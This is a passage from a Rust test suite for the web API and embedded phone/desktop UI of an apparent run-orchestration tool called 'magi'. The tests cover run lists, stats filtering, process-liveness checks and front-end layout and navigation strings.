10514            RunStatus::Merged,
10515            "/repos/a",
10516        );
10517        write_run_repo(
10518            &f.runs(),
10519            "20260902-140502-b",
10520            RunStatus::Blocked,
10521            "/repos/b",
10522        );
10523
10524        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10525        assert_eq!(stats.status, 200);
10526        assert_eq!(stats.json()["totals"]["runs"], 1);
10527        assert_eq!(stats.json()["totals"]["merged"], 1);
10528        assert_eq!(stats.json()["repo"], "/repos/a");
10529        // The repository list itself is unaffected by the filter - it is
10530        // what a client switches repositories from.
10531        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10532        // runs_unreadable is a whole-workload count, never scoped to the
10533        // selected repository - see StatsView::runs_unreadable's own doc.
10534        assert_eq!(stats.json()["runs_unreadable"], 0);
10535    }
10536
10537    #[tokio::test]
10538    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10539        let f = Fixture::start().await;
10540        write_run_repo(
10541            &f.runs(),
10542            "20260902-140501-a",
10543            RunStatus::Merged,
10544            "/repos/a",
10545        );
10546
10547        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10548        assert_eq!(stats.status, 404);
10549    }
10550
10551    #[tokio::test]
10552    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10553        let f = Fixture::start().await;
10554        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10555
10556        let summary = f.get("/api/runs").await.json();
10557        let row = &summary[0];
10558        assert_eq!(row["short"], "a1b2");
10559        assert_eq!(row["status"], "ready");
10560        assert_eq!(row["done"], true);
10561        assert_eq!(row["title"], "Add a web UI");
10562        assert_eq!(row["repo_name"], "magi");
10563        assert_eq!(row["judges"], 3);
10564        assert_eq!(row["winner"], Value::Null);
10565        assert_eq!(row["reviews"], 0);
10566
10567        // The short id resolves, and the detail route is the state itself, not
10568        // a projection of it: the UI reads fields the summary does not carry.
10569        let detail = f.get("/api/runs/a1b2").await;
10570        assert_eq!(detail.status, 200);
10571        assert_eq!(detail.json()["base_branch"], "main");
10572        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10573    }
10574
10575    /// `status: "ready"` alone cannot tell a run still headed for a landing
10576    /// (a PR closed without merging, say) apart from one `[merge] mode =
10577    /// "none"` left unmerged for good — the confusion the operator flagged
10578    /// after the CLI report already grew a `not landed — nothing to do by
10579    /// design` line for exactly this case (`report.rs`). Both the list route
10580    /// and the detail route must carry a flag the phone can key on instead of
10581    /// re-deriving it from `status` + `merge.mode` itself.
10582    #[tokio::test]
10583    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10584        let f = Fixture::start().await;
10585
10586        let mut none_run = RunState::new(
10587            PathBuf::from("/repo/magi"),
10588            "main".to_owned(),
10589            "0123456789abcdef".to_owned(),
10590            "Add a web UI".to_owned(),
10591            Config::default(),
10592        );
10593        none_run.id = "20260902-140503-none".to_owned();
10594        none_run.status = RunStatus::Ready;
10595        none_run.merge = Some(crate::run::MergeOutcome {
10596            mode: crate::config::MergeMode::None,
10597            ok: true,
10598            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10599            empty: false,
10600        });
10601        write_state(&f.runs(), &none_run);
10602
10603        let mut pr_run = RunState::new(
10604            PathBuf::from("/repo/magi"),
10605            "main".to_owned(),
10606            "0123456789abcdef".to_owned(),
10607            "Add a web UI".to_owned(),
10608            Config::default(),
10609        );
10610        pr_run.id = "20260902-140504-prcl".to_owned();
10611        pr_run.status = RunStatus::Ready;
10612        pr_run.merge = Some(crate::run::MergeOutcome {
10613            mode: crate::config::MergeMode::Pr,
10614            ok: false,
10615            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10616            empty: false,
10617        });
10618        write_state(&f.runs(), &pr_run);
10619
10620        let summary = f.get("/api/runs").await.json();
10621        let rows: std::collections::HashMap<&str, &Value> = summary
10622            .as_array()
10623            .expect("an array")
10624            .iter()
10625            .map(|r| (r["id"].as_str().expect("an id"), r))
10626            .collect();
10627        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10628        assert_eq!(
10629            rows[none_run.id.as_str()]["unmerged_by_design"],
10630            true,
10631            "a mode-none Ready must be flagged in the list"
10632        );
10633        assert_eq!(
10634            rows[pr_run.id.as_str()]["unmerged_by_design"],
10635            false,
10636            "a Ready reached by a closed pull request is a different case"
10637        );
10638
10639        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10640        assert_eq!(none_detail["status"], "ready");
10641        assert_eq!(none_detail["unmerged_by_design"], true);
10642
10643        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10644        assert_eq!(pr_detail["unmerged_by_design"], false);
10645    }
10646
10647    /// `RunState::active` is only ever cleared by whoever populated it, so the
10648    /// detail route also has to say whether a daemon is actually still
10649    /// driving this run right now — otherwise a seat from a killed process's
10650    /// last wave would read as live forever.
10651    #[tokio::test]
10652    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10653        let f = Fixture::start().await;
10654        // Matches `write_daemon`'s hard-coded `current.run`, so the second
10655        // half of this test can claim the daemon is working on it without a
10656        // second helper.
10657        let id = "20260902-140502-bbbb";
10658        let mut state = RunState::new(
10659            PathBuf::from("/repo/magi"),
10660            "main".to_owned(),
10661            "0123456789abcdef".to_owned(),
10662            "Add a web UI".to_owned(),
10663            Config::default(),
10664        );
10665        state.id = id.to_owned();
10666        state.status = RunStatus::Judging;
10667        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10668        let dir = f.runs().join(id);
10669        std::fs::create_dir_all(&dir).expect("run dir");
10670        std::fs::write(
10671            dir.join("run.json"),
10672            serde_json::to_string_pretty(&state).expect("serialize run"),
10673        )
10674        .expect("write run.json");
10675
10676        // No daemon.json at all, and no `driver_pid` recorded either (this
10677        // state was written directly, never through `execute()`): there is
10678        // nothing to confirm either way, so the route must say `"unknown"` —
10679        // never `"dead"`, which is exactly the false diagnosis a manual `magi
10680        // run` used to get from this route before `driver_pid` existed.
10681        let cold = f.get(&format!("/api/runs/{id}")).await.json();
10682        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10683        assert_eq!(cold["live"], "unknown", "{cold}");
10684
10685        // A fresh heartbeat naming exactly this run: the same entry now reads
10686        // as confirmed, not merely recorded.
10687        write_daemon(f.home.path(), Timestamp::now());
10688        let warm = f.get(&format!("/api/runs/{id}")).await.json();
10689        assert_eq!(warm["live"], "live", "{warm}");
10690    }
10691
10692    /// Where a run came from is shown, and a run written before origins were
10693    /// recorded (schema 12, no `origin` key) stays readable and says so.
10694    #[tokio::test]
10695    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10696        let f = Fixture::start().await;
10697        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10698            let mut state = RunState::new(
10699                PathBuf::from("/repo/magi"),
10700                "main".to_owned(),
10701                "0123456789abcdef".to_owned(),
10702                "Add a web UI".to_owned(),
10703                Config::default(),
10704            );
10705            state.id = id.to_owned();
10706            state.origin = origin;
10707            let mut value = serde_json::to_value(&state).expect("serialize run");
10708            if let Some(schema) = schema {
10709                value["schema"] = serde_json::json!(schema);
10710                value.as_object_mut().unwrap().remove("origin");
10711            }
10712            let dir = f.runs().join(id);
10713            std::fs::create_dir_all(&dir).expect("run dir");
10714            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10715        };
10716        write(
10717            "20260930-092817-ec34",
10718            Some(crate::run::Origin::from_agent_env(
10719                Some(("4a7b".to_owned(), "chat".to_owned())),
10720                None,
10721            )),
10722            None,
10723        );
10724        write("20260930-092817-0ld1", None, Some(12));
10725
10726        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10727        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10728        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10729
10730        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10731        assert_eq!(
10732            old["origin_label"], "origin unknown (started before origins were recorded)",
10733            "{old}"
10734        );
10735        assert!(old["origin"].is_null(), "{old}");
10736
10737        let list = f.get("/api/runs").await.json();
10738        let labels: Vec<_> = list
10739            .as_array()
10740            .unwrap()
10741            .iter()
10742            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10743            .collect();
10744        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10745    }
10746
10747    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
10748    /// review` claims no daemon at all, so before this field existed the
10749    /// route above read it as `"dead"` — indistinguishable from a run a
10750    /// killed process abandoned — the whole time it was genuinely still
10751    /// answering. With a live pid recorded, it must read `"live"` even
10752    /// though no daemon claims it.
10753    #[tokio::test]
10754    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10755        let f = Fixture::start().await;
10756        let id = "20260922-090000-cccc";
10757        let mut state = RunState::new(
10758            PathBuf::from("/repo/magi"),
10759            "main".to_owned(),
10760            "0123456789abcdef".to_owned(),
10761            "Review only".to_owned(),
10762            Config::default(),
10763        );
10764        state.id = id.to_owned();
10765        state.status = RunStatus::Reviewing;
10766        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10767        // This test process's own pid: guaranteed alive, and never needs a
10768        // real daemon or a second process to prove it. The matching start-time
10769        // marker is what `liveness` now requires alongside a live pid — see
10770        // `RunState::driver_started_at`'s own doc for why the pid alone is
10771        // not enough.
10772        state.driver_pid = Some(std::process::id());
10773        state.driver_started_at = Some(
10774            crate::proc::process_started_at(std::process::id())
10775                .expect("this test process's own start time must be queryable"),
10776        );
10777        let dir = f.runs().join(id);
10778        std::fs::create_dir_all(&dir).expect("run dir");
10779        std::fs::write(
10780            dir.join("run.json"),
10781            serde_json::to_string_pretty(&state).expect("serialize run"),
10782        )
10783        .expect("write run.json");
10784
10785        let detail = f.get(&format!("/api/runs/{id}")).await.json();
10786        assert_eq!(detail["live"], "live", "{detail}");
10787    }
10788
10789    /// A killed manual run's pid can be handed to a wholly unrelated later
10790    /// process — a live query on `driver_pid` alone would read this as
10791    /// `"live"`, exactly the false positive `driver_started_at` exists to
10792    /// catch (see that field's own doc, and `RunState::liveness_with`'s
10793    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
10794    #[tokio::test]
10795    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10796        let f = Fixture::start().await;
10797        let id = "20260922-090100-dddd";
10798        let mut state = RunState::new(
10799            PathBuf::from("/repo/magi"),
10800            "main".to_owned(),
10801            "0123456789abcdef".to_owned(),
10802            "Review only".to_owned(),
10803            Config::default(),
10804        );
10805        state.id = id.to_owned();
10806        state.status = RunStatus::Reviewing;
10807        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10808        // This test process's own pid really is alive, but the marker
10809        // recorded here does not match what it actually started at —
10810        // standing in for the pid having since been reused by a different
10811        // process than the one that wrote `run.json`.
10812        state.driver_pid = Some(std::process::id());
10813        state.driver_started_at = Some("1".to_owned());
10814        let dir = f.runs().join(id);
10815        std::fs::create_dir_all(&dir).expect("run dir");
10816        std::fs::write(
10817            dir.join("run.json"),
10818            serde_json::to_string_pretty(&state).expect("serialize run"),
10819        )
10820        .expect("write run.json");
10821
10822        let detail = f.get(&format!("/api/runs/{id}")).await.json();
10823        assert_eq!(detail["live"], "dead", "{detail}");
10824    }
10825
10826    /// The deck's competition list is normally the first place an operator
10827    /// sees an old run. It must carry the same process verdict as detail, or
10828    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
10829    #[test]
10830    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10831        let mk = |id: &str, pid: Option<u32>| {
10832            let mut s = RunState::new(
10833                PathBuf::from("/repo/magi"),
10834                "main".to_owned(),
10835                "0123456789abcdef".to_owned(),
10836                "Add a web UI".to_owned(),
10837                Config::default(),
10838            );
10839            s.id = id.to_owned();
10840            s.driver_pid = pid;
10841            s.driver_started_at = Some("1790000000".to_owned());
10842            s
10843        };
10844        let states = vec![
10845            mk("20260902-140502-aaaa", Some(77)),
10846            mk("20260902-140502-bbbb", Some(77)),
10847            mk("20260902-140502-cccc", Some(77)),
10848            mk("20260902-140502-dddd", None),
10849        ];
10850        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10851        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10852        let sup: HashMap<String, String> = [(
10853            "20260902-140502-aaaa".to_owned(),
10854            "20260902-140502-cccc".to_owned(),
10855        )]
10856        .into();
10857
10858        let status_calls = std::cell::Cell::new(0);
10859        let identity_calls = std::cell::Cell::new(0);
10860        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10861            |_| {
10862                status_calls.set(status_calls.get() + 1);
10863                Some(true)
10864            },
10865            |_| {
10866                identity_calls.set(identity_calls.get() + 1);
10867                Some("1790000000".to_owned())
10868            },
10869        ));
10870        let rows = summarize(
10871            states,
10872            &open,
10873            &claimed,
10874            &sup,
10875            |p| probe.borrow_mut().status(p),
10876            |p| probe.borrow_mut().started_at(p),
10877        );
10878
10879        assert_eq!(status_calls.get(), 1, "one pid, one status query");
10880        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
10881        assert_eq!(rows.len(), 4);
10882        assert!(!rows[0].waiting && rows[1].waiting);
10883        assert_eq!(rows[0].live, crate::run::Liveness::Live);
10884        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
10885        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
10886        assert_eq!(rows[1].superseded_by, None);
10887    }
10888
10889    #[test]
10890    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
10891        let mut state = RunState::new(
10892            PathBuf::from("/repo/magi"),
10893            "main".to_owned(),
10894            "0123456789abcdef".to_owned(),
10895            "Review only".to_owned(),
10896            Config::default(),
10897        );
10898        state.id = "20260922-090200-dead".to_owned();
10899        state.status = RunStatus::Reviewing;
10900        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
10901            .expect("serialize list row");
10902        assert_eq!(row["status"], "reviewing");
10903        assert_eq!(row["live"], "dead", "{row}");
10904        assert!(!row["done"].as_bool().unwrap());
10905    }
10906
10907    #[tokio::test]
10908    async fn the_run_list_is_newest_first_and_honours_a_limit() {
10909        let f = Fixture::start().await;
10910        for id in [
10911            "20260902-140501-aaaa",
10912            "20260902-140502-bbbb",
10913            "20260902-140503-cccc",
10914        ] {
10915            write_run(&f.runs(), id, RunStatus::Merged);
10916        }
10917
10918        let all = f.get("/api/runs").await.json();
10919        let capped = f.get("/api/runs?limit=2").await.json();
10920
10921        assert_eq!(all[0]["id"], "20260902-140503-cccc");
10922        assert_eq!(all.as_array().map(Vec::len), Some(3));
10923        assert_eq!(capped.as_array().map(Vec::len), Some(2));
10924        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
10925    }
10926
10927    #[tokio::test]
10928    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
10929        let f = Fixture::start().await;
10930        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
10931
10932        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
10933
10934        assert_eq!(res.status, 200);
10935        assert!(
10936            res.headers
10937                .contains("content-type: text/plain; charset=utf-8"),
10938            "a browser must render it, not download it: {}",
10939            res.headers
10940        );
10941        // The assertion is on content, not on the absence of escapes: colour
10942        // is a process-global that `serve` turns off at startup, and another
10943        // test in this binary may own it while this one runs.
10944        assert!(
10945            res.body.contains("20260902-140501-a1b2"),
10946            "the report is about the run that was asked for: {}",
10947            res.body
10948        );
10949    }
10950
10951    #[tokio::test]
10952    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
10953        let f = Fixture::start().await;
10954
10955        let html = f.get("/").await;
10956        let css = f.get("/app.css").await;
10957        let js = f.get("/app.js").await;
10958
10959        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
10960        assert!(
10961            html.headers
10962                .contains("content-type: text/html; charset=utf-8")
10963        );
10964        assert!(css.headers.contains("content-type: text/css"));
10965        assert!(js.headers.contains("content-type: text/javascript"));
10966        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
10967    }
10968
10969    #[test]
10970    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
10971        let body = |name: &str| {
10972            let at = APP_JS
10973                .find(name)
10974                .unwrap_or_else(|| panic!("{name} missing"));
10975            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
10976        };
10977        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
10978        let note = body("function landRoundNote");
10979        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
10980        assert!(note.contains("Land round ${round}"));
10981        let land = body("function renderLand");
10982        let note_at = land
10983            .find("landRoundNote(pr)")
10984            .expect("renderLand uses the note");
10985        assert!(
10986            note_at
10987                < land
10988                    .find("roundRail(pr)")
10989                    .expect("renderLand uses the rail")
10990        );
10991    }
10992
10993    #[test]
10994    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
10995        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
10996        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
10997        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
10998        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
10999        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11000        // The subtitle still counts them whatever the banner does.
11001        assert!(APP_JS.contains("unreadable` : null"));
11002    }
11003
11004    #[test]
11005    fn the_run_detail_payload_says_whether_the_run_is_done() {
11006        // `landView` reads `run.done`; the detail response must carry it.
11007        for (status, done) in [
11008            (RunStatus::Superseded, true),
11009            (RunStatus::Blocked, true),
11010            (RunStatus::Landing, false),
11011        ] {
11012            let mut state = RunState::new(
11013                std::path::PathBuf::from("/repo"),
11014                "main".to_owned(),
11015                "abc".to_owned(),
11016                "x".to_owned(),
11017                crate::config::Config::default(),
11018            );
11019            state.status = status;
11020            let v = serde_json::to_value(RunDetailView::of(
11021                state,
11022                crate::run::Liveness::Unknown,
11023                None,
11024                None,
11025                None,
11026            ))
11027            .unwrap();
11028            assert_eq!(v["done"], done, "{status:?}");
11029        }
11030    }
11031
11032    #[test]
11033    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11034        // The land panel defers to `run.status` for merged, and labels a
11035        // recorded-open PR on any finished run (superseded, blocked, ...) as
11036        // last seen, never as live state.
11037        assert!(APP_JS.contains("function landView(run, raw) {"));
11038        assert!(
11039            APP_JS.contains(
11040                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11041            )
11042        );
11043        assert!(APP_JS.contains("const pr = landView(run, raw);"));
11044        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11045        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11046        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11047    }
11048
11049    #[test]
11050    fn live_runs_are_never_hidden_or_folded_as_superseded() {
11051        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
11052        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11053        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11054        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11055    }
11056
11057    #[test]
11058    fn review_rounds_label_a_distinct_verified_head() {
11059        assert!(APP_JS.contains("round.verified_head"));
11060        assert!(APP_JS.contains("verified HEAD"));
11061        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11062    }
11063
11064    #[test]
11065    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11066        // A blocked task's chip and note must not fall back to a queued-like
11067        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
11068        // itself by e11fc58 but never checked here.
11069        assert!(APP_JS.contains("blocked: { glyph:"));
11070        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11071
11072        // `blocked_by` mixes task ids and question ids in the same list, and
11073        // the client can only tell them apart by checking each id against
11074        // what it actually knows - never by guessing from the id's shape.
11075        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11076        assert!(
11077            APP_JS.contains(
11078                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11079            ),
11080            "the note line must name what a blocked task is waiting on, not just that it is blocked"
11081        );
11082        // The classification must key off `status_str`, never off `blocked_by`
11083        // or `block_reason` merely being present - both can survive briefly
11084        // on a task a hold or a dead daemon just moved off `blocked`.
11085        assert!(APP_JS.contains("if (status === \"blocked\") {"));
11086
11087        // A question a task is blocked on gets its own node in the same
11088        // dependency graph, not just a task-shaped node with nothing known
11089        // about it.
11090        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11091        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11092        assert!(
11093            APP_JS.contains("location.hash = \"#/questions\";"),
11094            "a question node must jump to the Questions screen, not pretend to be a task"
11095        );
11096
11097        // `Task::answers` - decisions already made - are shown as a record on
11098        // the card, the same disclosure style as the full instruction.
11099        assert!(APP_JS.contains("Resolved questions"));
11100        assert!(APP_JS.contains("r.answersList.append("));
11101        assert!(APP_CSS.contains(".task-answers"));
11102        {
11103            let start = APP_JS
11104                .find("function updateTalkTaskRow")
11105                .expect("updateTalkTaskRow");
11106            let body = &APP_JS[start..];
11107            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11108            assert!(
11109                body.contains(
11110                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11111                ),
11112                "a chat-filed task row must link to the task page"
11113            );
11114            assert!(
11115                !body.contains("#/runs/") && !body.contains("#/queue/"),
11116                "the row must not branch to a run or the queue card"
11117            );
11118            assert!(APP_CSS.contains(".talk-task-link"));
11119        }
11120    }
11121
11122    #[test]
11123    fn a_task_notification_links_to_the_task_page() {
11124        // A task notice opens the task detail page, not the Backlog card.
11125        let start = APP_JS
11126            .find("function noticeLink(")
11127            .expect("noticeLink exists");
11128        let body = &APP_JS[start..];
11129        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11130        assert!(
11131            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11132            "a task notice's link must target the task page"
11133        );
11134        assert!(
11135            !body.contains("#/queue/"),
11136            "regression: the task link must not go back to the Backlog route"
11137        );
11138        assert!(
11139            APP_JS.contains(
11140                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11141            ),
11142            "`#/tasks/<id>` must parse into the task route"
11143        );
11144
11145        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
11146        assert!(
11147            APP_JS.contains(
11148                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11149            ),
11150            "`#/queue/<id>` must parse into a route carrying that id"
11151        );
11152
11153        // And the Backlog view has to actually land on the card once it can
11154        // - see consumeQueueFocus(), which renderQueue() calls on every pass
11155        // so a focus set before the queue has loaded is retried once it has.
11156        assert!(APP_JS.contains("state.queueFocus = route.id;"));
11157        assert!(APP_JS.contains("function consumeQueueFocus()"));
11158        assert!(APP_JS.contains("jumpToTask(id)"));
11159    }
11160
11161    /// Chat rows are two lines at every width: the title alone, then the
11162    /// shrinkable secondary info.
11163    #[test]
11164    fn chat_rows_put_the_title_alone_on_the_first_line() {
11165        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
11166        assert!(APP_CSS.contains(
11167            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11168        ));
11169        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11170        assert!(APP_JS.contains("class: \"badge talk-unread\""));
11171    }
11172
11173    #[test]
11174    fn run_rows_put_the_title_alone_on_the_first_line() {
11175        assert!(
11176            APP_CSS.contains(
11177                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
11178            )
11179        );
11180        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11181        assert!(APP_JS.contains("class: \"card run-card\""));
11182        assert!(APP_JS.contains("class: \"repo run-id\""));
11183    }
11184
11185    /// Wide screens get a master/detail layout built from the views a phone
11186    /// drills into. These are string assertions: they pin the contract between
11187    /// the three assets, not how it looks.
11188    #[test]
11189    fn wide_screens_show_list_and_preview_side_by_side() {
11190        // One breakpoint, spelled the same in the script and the stylesheet.
11191        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11192        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11193        assert!(APP_CSS.contains("main[data-split]"));
11194        assert!(APP_CSS.contains("body[data-split]"));
11195
11196        // The route -> panes table, and a narrow screen opting out of it.
11197        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
11198        assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11199        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11200        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11201        assert!(INDEX_HTML.contains("id=\"split-empty\""));
11202
11203        // Selection is derived from the route, and only ever paints a row.
11204        assert!(APP_JS.contains("function markSelected() {"));
11205        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11206        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11207        // The dense row must override the stacked card the 720px block sets up.
11208        assert!(
11209            APP_CSS.contains(
11210                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11211            )
11212        );
11213
11214        // Independent scrolling: the page stops scrolling, each pane does.
11215        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11216        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11217        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11218        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11219
11220        // A refresh must never navigate: the loaders still check that their
11221        // subject is the one on screen, and crossing the breakpoint only
11222        // re-reads the hash.
11223        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11224        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11225        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11226        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11227
11228        // The panel sandbox and its CSP are untouched by any of this.
11229        assert!(APP_JS.contains("sandbox: \"\""));
11230        assert!(!APP_JS.contains("sandbox: \"allow"));
11231    }
11232
11233    #[test]
11234    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11235        // consumeQueueFocus() clears an active Backlog search before it can
11236        // scroll to the target card (the sections list is hidden while a
11237        // search is showing), by recursing back into renderQueue(). The
11238        // fixer's first cut nulled state.queueFocus before that recursive
11239        // call, so the second pass saw nothing to jump to and the jump was
11240        // silently dropped whenever a notification's link was opened with a
11241        // stale search still active. state.queueFocus must only be cleared
11242        // right before jumpToTask() actually runs.
11243        assert!(
11244            APP_JS.contains(
11245                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
11246            ),
11247            "the search-clearing branch must run before state.queueFocus is cleared, or the \
11248             recursive renderQueue() call has nothing left to jump to"
11249        );
11250        assert!(
11251            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11252            "state.queueFocus must be cleared only once the jump has landed, so a card that \
11253             arrives later still gets it"
11254        );
11255        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11256        assert!(APP_JS.contains("is not in the current Backlog."));
11257        assert!(APP_JS.contains("li.card[data-task-id=\""));
11258        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11259        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11260        assert!(APP_CSS.contains(".card-permalink"));
11261        assert!(APP_CSS.contains(".queue-focus-status"));
11262        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11263    }
11264
11265    #[test]
11266    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11267        // The task's own repro: only the link text inside .notice-meta was
11268        // clickable, so a tap on the message, the timestamp, or the card's
11269        // padding did nothing - on a phone that reads as "the card doesn't
11270        // work" even though the tiny link inside it did. Mark read / Dismiss
11271        // must keep working independently of this: `.closest("a, button")`
11272        // is what lets a tap that actually lands on those elements fall
11273        // through instead of being hijacked into a navigation.
11274        assert!(
11275            APP_JS.contains(
11276                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11277            ),
11278            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11279        );
11280    }
11281
11282    #[test]
11283    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11284        assert!(
11285            APP_JS.contains("round.verified_head !== round.head"),
11286            "a round that verified an earlier commit must be visibly distinct from one that \
11287             verified the head reviewers are looking at now"
11288        );
11289        assert!(
11290            APP_JS.contains("round.verified_at"),
11291            "when a check ran must be on the wire, not just which commit"
11292        );
11293        assert!(
11294            APP_JS.contains("resource_blocked"),
11295            "a command magi never got to run (shared build cache contention) must not render \
11296             the same as a command that ran and failed"
11297        );
11298    }
11299
11300    #[test]
11301    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11302        // Every KPI tile but Total runs and Completion names an exact
11303        // RunStatus and hands it to openRunsFiltered(), which is what wires
